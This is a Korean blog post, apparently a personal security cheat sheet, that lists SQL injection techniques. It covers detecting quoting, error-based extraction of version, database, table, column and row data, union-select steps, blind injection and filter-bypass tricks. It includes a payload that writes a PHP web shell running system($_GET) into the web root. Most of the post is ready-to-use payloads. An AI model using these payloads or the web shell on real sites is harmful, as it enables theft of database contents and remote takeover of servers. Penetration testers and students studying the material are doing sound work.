SQLi 패턴 정리
1 sqli의 큰 흐름
1-1 파라미터의 타입 결정
일단 sql관련 공격은 보통 처음에 예를 들어 select * from table where id=3 에서 3이 싱글쿼터로 감싸져 있느냐, 더블쿼터이냐 ( ) 안에 있냐 등을 먼저 알아본다. 그 방법은 총 세가지로 나뉜다.
1) 에러 출력 -> 싱글쿼터나 더블쿼터 혹은 \ 등을 입력하여 오류출력을 시도하고 오류를 출력한다면, 쿼리가 어떻게 구성되어서 sql서버로 날아가는지 쉽게 알 수 있다.
2) and 연산자 이용 -> 일종의 블라인드 인젝션인데 (id=1' and 1=0 ) 등을 입력하여 정상출력과 비정상출력을 확인하여 쿼리를 예측한다. 처음에 1=0을 입력해서 여러 가지 시도하다 어느 순간 아무것도 보이지 않는다면, 그 파라미터 타입이 맞는 것이므로 이 때부터 공격방향을 정해 공격하면 된다.
3) sleep 이용 -> 이것 또한 일종의 블라인드 인젝션인데 id=1' and sleep(5) 이런식으로 쿼리를 날려서 sleep한다면, 그것이 맞는 것이므로 공격 ㄱㄱ~
1-2 공격방법 결정
공격방법 또한 3가지로 나뉘어 진다.
- 에러기반 공격
- Union all select 등을 기반으로 다양한 서브쿼리들 혹은 내장함수 이용
- 블라인드 인젝션 -> time based, 혹은 ascii, substr, binascii 등 내장함수 이용
2. 파라미터 타입 결정
2-1 에러기반으로 쿼리 예상하기(에러가 뜰 경우)
2-2 에러가 뜨지 않는다면 블라인드 인젝션 식으로 and연산자등을 이용해 쿼리를 추측한다.
3. 에러기반 공격
에러기반으로 테이블이나 각종 데이터베이스 정보를 유출한다.
1. Having 과 group by로 필드 알아내기
select * from test where id ='1' having 1=1# (오류)
select sum(5), concat(111,222,floor(rand(0)*2)) as a from information_schema.tables group by a
select * from test where id = '1' group by test.id having 1=1#(정상출력)
1-1 데이터베이스 버전 정보 유출
select * from test where id = '1' or 1 group by concat(0x3a,version(),floor(rand(0)*2)) having min(0)#
1-2 데이터베이스 이름 유출
select * from users where id='' or (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#;
1-3 테이블 유출
and (select 1 from (select count(*),concat((select(select concat(cast(table_name as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
1-4 칼럼네임 유출
and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0xTABLEHEX limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
1-5 데이터 유출
and (select 1 from (select count(*),concat((select(select concat(cast(concat(COLUMN_NAME,0x7e,COLUMN_NAME) as char),0x7e)) from Databasename.TABLENAME limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
2. Convert를 통해 정보유출
select * from test where id=1 and '1'=convert(int,(select top 1 table_name from information_schema.tables))# 이렇게 해서 test란 테이블이 나온 후 다음과 같이 입력한다. select * from test where id=1 and '1'=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('test')))#
4. union select
기본 단계) order by나 union all select null을 늘려가며 필드 수 확인
단계 1-1) 현재 데이터베이스확인
단계 1-2) 테이블 뽑기
단계 1-3) 칼럼 뽑기
---------------------------------------------------------------------------------------------------------
단계 2-1) 서버의 파일 읽기
---------------------------------------------------------------------------------------------------------
단계 3-1) 웹쉘 올리기
id=50") union all select null,'<?php system($_GET[\'input\']); ?>',null into outfile '/var/www/hack.php'%23
5. blind injection
Ascii, substr, if문 등을 이용해 한 글자씩 따온다.
6. 각종 우회기법
6-1 특정 키워드나 스트링이 막힌 경우 막혔다면
%00이나 /**/, '%0d' 등으로 우회 시도해본다. 예를 들어 admin자체가 막혔다면 admi'%0d'n으로 우회한다. 혹은 like도 사용 가능하다.
6-2 주석이 막혔을 경우
#이나 –가 막혔을 경우 %23이나 ;%00 /* 등을 시도해 보자.
6.3 싱글쿼터
싱글쿼터가 막혀 문자열을 사용할 수 없다면 0x 나 36진수를 이용해 select conv(10,10,36)='A' 이런식으로 우회한다. 혹은 내장함수를 이용해 가젯처럼 추출해 우회할 수 있다.
select substr(monthname(from_unixtime(1)),2,1)='a' // monthname(from_unixtime(1)) = 'January'
6.4 숫자
숫자가 막혔다면 auto type cast를 이용한다. false = 0, true = 1, true+true = 2
6.5 blind injection시 substr이 막혔을 경우
like를 이용한다. Ex)
select id from member where id like 'a%'
혹은 left나 right, mid, lpad, rpad, reverse등의 내장함수를 적극 활용한다.
6.6 if함수 필터링시
case()나 ifnull(), nullif()로 우회한다.
6.9 information_schema나 select 등 우회
procedure analyse() 함수로 우회된다.
참고 - http://hackerschool.org/Sub_Html/HS_Posting/?uid=43, "웹 모의해킹 및 시큐어코딩 진단가이드"등 각종 사이트들..
'web' 카테고리의 다른 글
blind injection tool (0) | 2014.12.03 |
---|---|
DNS서버 zone 설정 (0) | 2014.11.25 |
test page 만들기 (0) | 2014.07.20 |
웹 기본 프로토콜 (0) | 2014.05.04 |